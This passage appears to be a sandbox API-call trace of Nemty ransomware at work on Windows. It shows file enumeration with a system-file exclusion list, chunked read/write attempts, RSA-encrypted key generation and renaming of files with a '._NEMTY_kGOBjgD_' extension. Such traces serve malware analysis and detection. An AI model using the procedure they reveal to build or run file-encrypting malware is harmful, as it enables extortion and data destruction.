lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.501] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.510] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.511] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.511] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.520] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.520] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.520] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.520] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.529] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.529] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.529] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.529] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.538] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.538] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.538] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.538] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.544] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.544] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.544] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.544] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.550] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.550] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340230, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0150.550] CloseHandle (hObject=0xffffffff) returned 0 [0150.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403a0 [0150.550] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0150.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0150.550] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0150.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0150.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0150.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340448 [0150.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0150.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340448 | out: hHeap=0x4f90000) returned 1 [0150.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0150.551] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\library.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\library.js"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\library.js._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\library.js._nemty_kgobjgd_")) returned 0 [0150.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0150.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403a0 | out: hHeap=0x4f90000) returned 1 [0150.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0150.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340230 | out: hHeap=0x4f90000) returned 1 [0150.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0150.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0150.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0150.551] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x388c, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="localizedStrings.js", cAlternateFileName="")) returned 1 [0150.551] lstrcmpiW (lpString1="localizedStrings.js", lpString2=".") returned 1 [0150.551] lstrcmpiW (lpString1="localizedStrings.js", lpString2="..") returned 1 [0150.551] lstrcmpiW (lpString1="localizedStrings.js", lpString2="...") returned 1 [0150.551] lstrcmpiW (lpString1="localizedStrings.js", lpString2="windows") returned -1 [0150.551] lstrcmpiW (lpString1="localizedStrings.js", lpString2="$RECYCLE.BIN") returned 1 [0150.551] lstrcmpiW (lpString1="localizedStrings.js", lpString2="rsa") returned -1 [0150.551] lstrcmpiW (lpString1="localizedStrings.js", lpString2="NTDETECT.COM") returned -1 [0150.551] lstrcmpiW (lpString1="localizedStrings.js", lpString2="ntldr") returned -1 [0150.551] lstrcmpiW (lpString1="localizedStrings.js", lpString2="MSDOS.SYS") returned -1 [0150.551] lstrcmpiW (lpString1="localizedStrings.js", lpString2="IO.SYS") returned 1 [0150.551] lstrcmpiW (lpString1="localizedStrings.js", lpString2="boot.ini") returned 1 [0150.551] lstrcmpiW (lpString1="localizedStrings.js", lpString2="boot.ini") returned 1 [0150.551] lstrcmpiW (lpString1="localizedStrings.js", lpString2="AUTOEXEC.BAT") returned 1 [0150.551] lstrcmpiW (lpString1="localizedStrings.js", lpString2="ntuser.dat") returned -1 [0150.551] lstrcmpiW (lpString1="localizedStrings.js", lpString2="desktop.ini") returned 1 [0150.551] lstrcmpiW (lpString1="localizedStrings.js", lpString2="CONFIG.SYS") returned 1 [0150.551] lstrcmpiW (lpString1="localizedStrings.js", lpString2="RECYCLER") returned -1 [0150.551] lstrcmpiW (lpString1="localizedStrings.js", lpString2="BOOTSECT.BAK") returned 1 [0150.551] lstrcmpiW (lpString1="localizedStrings.js", lpString2="bootmgr") returned 1 [0150.551] lstrcmpiW (lpString1="localizedStrings.js", lpString2="programdata") returned -1 [0150.551] lstrcmpiW (lpString1="localizedStrings.js", lpString2="appdata") returned 1 [0150.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0150.551] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="localizedStrings.js", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0150.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="localizedStrings.js", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="localizedStrings.js", lpUsedDefaultChar=0x0) returned 19 [0150.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0150.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="localizedStrings.js", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0150.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="localizedStrings.js", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="localizedStrings.js", lpUsedDefaultChar=0x0) returned 19 [0150.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0150.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0150.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0150.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="localizedStrings.js", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0150.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="localizedStrings.js", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="localizedStrings.js", lpUsedDefaultChar=0x0) returned 19 [0150.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0150.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0150.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="localizedStrings.js", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0150.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0150.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="localizedStrings.js", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="localizedStrings.js", lpUsedDefaultChar=0x0) returned 19 [0150.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0150.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0150.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0150.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0150.552] Sleep (dwMilliseconds=0x5) [0150.553] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xd623ad0, dwHighDateTime=0x1d561e8)) [0150.553] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xd623ad0, dwHighDateTime=0x1d561e8)) [0150.553] GetLastError () returned 0x5 [0150.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0150.553] GetLastError () returned 0x5 [0150.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0150.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0150.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0150.554] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0150.554] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0150.554] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0150.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0150.554] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e5dc | out: pszString="6KljWgKlO9IWwAlem+8g9UlvLI71KxB/5+rH6S9dbYNvu4gTda2xbrl7FQhmkrhN\r\nbhik8fSRGukAf63+h2BHy3qcSjFiTSRzWGffWEU1kvjHr/RDWWjSARwgpmflwfNM\r\nLjskbhX78pJ0Att+rJt4mKx9HPM+W588GkMOThvWWXgJRCtFVkqXWFU7lTQ4AgzN\r\nrb+PD/BsZdZB05h7lL/CLnrS8IJtXrpul5Me80oXG8B4+KouuCl8DnfVcfQVTMCI\r\n2ykrCiJfrIh5CLI/VegDFkDKbUgxhMTw2xT7xa2oxByFLsPsfaSrRL1mNvDrCXrV\r\nII2Y+kv07tRx2TCY2nnwqg==\r\n", pcchString=0x653e5dc) returned 1 [0150.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0150.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0150.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0150.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0150.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0150.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0150.554] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\localizedStrings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\localizedstrings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0150.555] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0150.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0150.555] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.555] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.564] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.564] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.573] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.573] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.582] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.582] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.591] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.591] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.592] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.592] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.601] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.601] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.610] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.610] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.610] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.610] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.619] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.619] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.619] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.619] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.628] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.628] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.628] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.628] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.637] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.638] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.638] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.638] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 